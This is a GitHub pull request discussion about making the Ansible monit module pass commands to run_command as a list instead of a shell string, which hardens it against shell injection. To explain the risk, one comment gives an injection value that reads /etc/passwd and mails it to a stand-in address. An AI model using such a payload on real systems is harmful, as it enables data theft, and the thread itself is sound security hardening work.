monit - invoke run_command passing list

[russoz]

SUMMARY

Passing command as list instead of as string.

ISSUE TYPE

• Feature Pull Request

COMPONENT NAME

plugins/modules/monitoring/monit.py

[ansibullbot]

cc @brian-brazil @dstoflet @snopoke
click here for bot help

[snopoke]

@russoz thanks for the contribution. Can you update the description to indicate why the change is beneficial. Also the tests need to be updated.

[russoz]

@russoz thanks for the contribution. Can you update the description to indicate why the change is beneficial. Also the tests need to be updated.

The AnsibleModule.run_command() method is able to process commands passed to it (the first argument) as both str and list. However, when passing as str, that string is then passed to a shell command (/bin/sh?) and executed as string, whereas when passing a list, each element of the list becomes a command-line argument. For more details please see https://docs.python.org/3/library/subprocess.html#frequently-used-arguments about the args argument to Popen, which is (directly or indirectly) the underlying component used to execute external commands. I would add to the point that making that call with a str argument is inherently less safe than list, because of the possibility injecting code for the shell to parse - if a CLI argument comes from a module parameter, then a malicious user could send a parameter value like ; cat /etc/passwd | mail -s groceries evil@address.me.

I have been changing the modules in c.g. to use a list as the first run_command() argument as a general improvement measure. There is no specific threat or actual problem that has been identified, as far as I know.

Hope that clarifies it, but I will be happy to assist further if needed.

Yes, I have to fix the tests: I recall having runnning them locally and working, but most likely I didn't. I have submitted a handful of similar tickets, one for each module, it's easy to have missed something.

Thanks for being on top of it: that was the first time a module owner replied a PR in less than 10min of me submitting it. :-)

[patchback]

Backport to stable-4: 💚 backport PR created

✅ Backport PR branch: patchback/backports/stable-4/52d4907480a555167e503f93e728379ed56295b4/pr-3821

Backported as #3832

🤖 @patchback
I'm built with octomachinery and
my source is open — https://github.com/sanitizers/patchback-github-app.

[felixfontein]

@russoz thanks again!